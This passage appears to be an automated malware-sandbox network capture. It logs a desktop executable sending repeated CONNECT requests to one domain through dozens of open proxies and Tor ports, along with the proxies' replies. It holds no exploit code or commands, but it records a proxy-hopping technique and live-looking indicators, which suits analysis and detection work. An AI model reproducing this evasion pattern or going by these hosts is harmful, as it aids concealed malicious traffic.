content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003903578323"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1733	192.168.2.9	51887	40.127.8.243	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.595098972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700361967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700486898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.700537920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.793836117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1734	192.168.2.9	54310	138.68.235.51	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.623554945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700469971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.700517893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.700537920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:24.064976931 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 14:21:23 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 639 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of
Mar 11, 2024 15:21:24.064992905 CET	295	IN	Data Raw: 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 Data Ascii: the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at heygirlisheeverythingyo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1735	192.168.2.9	55177	79.110.202.131	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.626622915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1736	192.168.2.9	55119	124.163.236.54	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.628818989 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.113570929 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1737	192.168.2.9	54242	51.15.223.12	16379	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.634809017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.637887001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638128996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.638160944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.637710094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:47.639117956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:59.637653112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:02.158421040 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1738	192.168.2.9	55165	47.229.171.150	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.670104980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.935482979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:15.138782978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:19.325329065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:27.637955904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:35.938133955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:44.325145960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:00.934487104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:34.043751955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1739	192.168.2.9	55183	188.166.17.18	8881	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.689783096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1740	192.168.2.9	55178	43.231.22.229	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.689855099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1741	192.168.2.9	52077	91.214.31.234	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.695671082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.700495005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.369731903 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1742	192.168.2.9	54253	34.93.157.87	8514	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.695719957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.825284004 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1743	192.168.2.9	52253	134.19.254.2	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.741910934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1744	192.168.2.9	54533	132.148.245.169	19483	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.777261972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1745	192.168.2.9	54400	47.89.184.18	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.777482033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.993428946 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1746	192.168.2.9	55182	74.118.80.244	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.787686110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1747	192.168.2.9	55144	187.63.9.62	63253	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.808248043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1748	192.168.2.9	55185	104.200.152.30	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.818559885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1749	192.168.2.9	55142	69.230.240.163	32650	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.818794966 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:12.172497034 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:11 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:14.056011915 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Mar 11, 2024 15:21:14.057358980 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1750	192.168.2.9	55187	142.4.123.41	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.818820000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1751	192.168.2.9	55156	195.25.20.108	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.824172974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.744463921 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1752	192.168.2.9	55184	42.49.148.167	9001	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.827178955 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:12.337598085 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1753	192.168.2.9	54447	62.171.169.37	58402	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:11.827240944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:14.903527975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.936870098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:23.956962109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
